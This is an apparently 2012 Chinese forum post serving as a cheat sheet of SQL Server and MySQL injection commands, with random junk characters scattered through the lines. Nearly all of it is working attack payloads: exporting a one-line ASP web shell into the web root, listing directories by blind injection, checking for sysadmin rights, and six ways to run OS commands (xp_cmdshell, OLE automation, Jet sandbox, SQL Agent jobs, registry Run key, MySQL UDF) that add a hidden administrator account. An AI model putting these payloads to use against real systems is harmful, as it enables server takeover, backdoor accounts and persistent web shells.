找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2960|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马7 P5 A% P2 y4 ]$ H) p
首先确定网站的WEB路径  O) u+ [; ]8 X7 q
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
8 Y/ f2 w- w6 w. R9 F
0 x2 {( B+ q, c' X. ?6 l;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- & p- x- s" B, o# g+ a+ I' G
//将一句话木马插入表中
1 _* O2 f8 p8 q" K
8 e- N9 f; w& K1 X4 L5 R9 _;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
- @/ ?+ _: X4 |7 n//导出一个ASP文件4 Z/ U" g3 ?9 Q# @/ i( p2 D. v; x
/ J& G8 D( M4 |' S
& m1 \1 k) K1 e$ ?/ ~% F
关于MSSQL列目录1 }) R4 f) J; s) k( t
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
" ~; s/ K$ @/ {! |Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
: g8 Z: B6 z/ N8 N9 d! S  z# a" j: B# p- c& b
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录# B. h: I* @7 |. z  T( Z4 i, `4 z

; g, B* z4 K1 _+ e; @0 uAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段  |/ x  w: d. V! Y" y

$ @4 `9 q8 X3 g# x  P. a0 T0 dAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
4 j$ |$ j; ~% G6 Y8 A
, p" G3 k& z/ [$ I% H" z# C1 N! ]1 q9 z4 i5 E- V$ h6 J
数据库版本和权限查看& a, B+ Z7 P; w' s) c# o/ u
and 1=(select @@VERSION) //查看详细的数据库信息.2 y/ v, c+ r; @7 C9 B
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA( S, t# _  X& R8 d4 x
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER- {! A: |' C: B" Z' D9 n
* }1 w" R, A1 O: o. r- a( W! L
1 C/ a  {  `& }. d- ?1 \
1.利用xp_cmdshell执行命令; U6 Q! P, U" i
exec master..xp_cmdshell 'net user rfire 123456 /add'
4 y7 n2 X/ D! o% q! Qexec master..xp_cmdshell 'net localgroup administrators rfire /add'6 [% T% d: Q! {' D

' T: G8 y5 ?+ T+ p0 L+ ^恢复xp_cmdshell存储过程
1 a& L" s$ E, c; P( wExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
  _4 o) i( U/ B8 J1 \7 [. g$ t
* K0 `$ i& D6 [* c. }
6 A: a) x# L6 f9 e( A2.利用SP_OAcreate和SP_OAMETHOD执行命令
. ]6 ^/ V7 @! P$ t# z  g2 o; G在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
& K7 A# `& e3 t3 jDECLARE @shell INT //建立一个@shell实体
2 `5 b- y. E+ b1 R2 UEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例" E' ~6 I( e7 T; S+ t
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例! h+ s  R. T4 J# s4 l( X3 s

! _7 ^" i" Y6 t4 ?  Y5 G) @0 |: t7 e$ J% N$ h! Y) ^9 S9 X+ T( E0 H; g) H, B
3.利用沙盒模式$ b0 i' {1 z7 b4 G( T
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。; Y; s2 W# [% `) C. v
开启沙盒模式:+ m: M! P( N& [! A) Q, c
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0- G! @- K4 W" s5 q8 G% L. d

  D0 e0 F5 ^7 p1 G执行命令:$ }9 i( J" E! i6 Q5 Y" f
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
- F5 r: }7 e) E2 G3 g* H: j+ a! w7 E. b4 I& l( Z8 X  G4 y

9 L# m! ~. Q+ h' P0 H& b4.利用SQL代理执行命令, S3 s2 g: c6 y8 ~/ |  A; X  \/ b
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
" ]+ c9 ]: k- n8 S  J1 O% p9 N/ C- J0 i
执行命令:
# _+ B3 C* N3 [! X1 v, Wuse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
8 V6 b; d1 Y% e; Dexec sp_add_job 'x'
. ~0 P0 |0 A+ Aexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业7 B7 Z0 x5 n5 J9 n2 a
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
: t6 \& K- i' ^* Z9 P/ J$ T1 [& Y* G  @/ p% M3 g

. X7 _. J( n. `, m9 o, d/ \5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
! z3 ^8 C8 Z- l9 |* F4 G4 Z! Q2 t  PEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'; ~" ?( K8 s( }, u3 t) B, O  p

9 H) t0 A8 Y; c
4 _; u# P+ M, `. v3 r1 g/ \- J& ~2 X6.MYSQL的命令执行
/ C# Y7 t& s! s6 |9 L0 mMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
6 i* p* Q6 X) Z% K首先要在su.php下导出c:\windows\udf.dll2 j2 i4 {) m) P& Y
导出后执行创建自定义函数命令:, X0 y1 h4 E* n1 u) E! H' `
Create Function cmdshell returns string soname 'udf.dll'
7 I- G8 s9 a  s$ f; n- P, H执行命令
. |0 L" s% |2 s# a! V( Iselect cmdshell('net user rfire 123456 /add')( c, W$ f7 {- H0 W. o
执行后删除函数 drop function cmdshell- M9 `, C5 U6 M8 w) T# {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表